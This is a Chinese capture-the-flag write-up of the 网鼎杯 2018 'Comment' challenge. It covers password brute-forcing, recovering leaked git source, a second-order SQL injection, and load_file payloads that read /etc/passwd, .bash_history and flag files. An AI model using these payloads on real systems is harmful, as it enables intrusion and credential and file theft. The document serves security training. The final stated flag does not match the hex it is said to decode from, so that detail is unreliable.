[网鼎杯 2018]Comment

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[网鼎杯 2018]Comment

爆破一下密码，为zhangwei666，登录即可发帖
F12在控制台处看到提示

发现是源码泄露，然后用王一航大佬的 githacker 来下载源码，下载完以后，发现源码不全，进行恢复；

看一下git的操作记录

git log --reflog

commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash)
Merge: bfbdf21 5556e3a
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:51:17 2018 +0800

    WIP on master: bfbdf21 add write_do.php

commit 5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:51:17 2018 +0800

    index on master: bfbdf21 add write_do.php

commit bfbdf218902476c5c6164beedd8d2fcf593ea23b (HEAD -> master)
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:47:29 2018 +0800

    add write_do.php

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扫描到后台有.git文件泄露，但是下载下来的源码不齐全

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

恢复一下

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

得到完整源码

//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

在write部分使用addslashes()函数进行了过滤

$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);

但是在comment部分对从数据库中取出的category没有过滤，这就造成了二次注入

$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);

这里的二次注入表现为，addslashes过滤后产生的\不会进入数据库，即’1过滤后变成’1，进入库中却仍为’1，我们在取出数据后进行二次拼接，即可造成注入

在发帖处构造category为

', content=user(),/*

在留言处输入的content为

*/#

以下评论参考这里，不再重复。
最后的表现形式为

$sql = "insert into comment
            set category = '', content=user(),/*  
                content = '*/#',
                bo_id = '$bo_id'";

相当于我们构造了新的content，原来的content被我们用多行注释符/**/注释掉了

看到用户为root，如此高的权限，可以尝试使用load_file()读取文件

', content=load_file('/etc/passwd'),/*

读取一下历史操作

', content=load_file('/home/www/.bash_history'),/*

注意到虽然/var/www/html目录下的.DS_Store文件被删除了，但是/tmp/html目录下的.DS_Store文件还在，读一下

', content=hex(load_file('/tmp/html/.DS_Store')),/*

获取到的十六进制数据使用winhex打开，看到有flag_8946e1ff1ee3e40f.php，读一下。注意flag在页面源代码中，按F12查看

', content=load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'),/*

得到

3C3F7068700A0924666C61673D22666C61677B66396361316136622D396437382D313165382D393061332D6334623330316237623939627D223B0A3F3E

Hex ASCII解码

flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}

假的flag
换一个目录读/var/www/html/

', content=(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*

得到

3C3F7068700A0924666C61673D22666C61677B65306333323365382D333465342D343562392D396534662D6363383137656633633134357D223B0A3F3E0A

Hex解码获取到真实的flag

flag{0f843a71-795a-4235-9280-4c9acfbfc6b2}

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总结

简单总结以下，有问题欢迎提问交流。
参考文章如下：
https://blog.csdn.net/qq_41628669/article/details/106133104
https://blog.csdn.net/weixin_43940853/article/details/105121265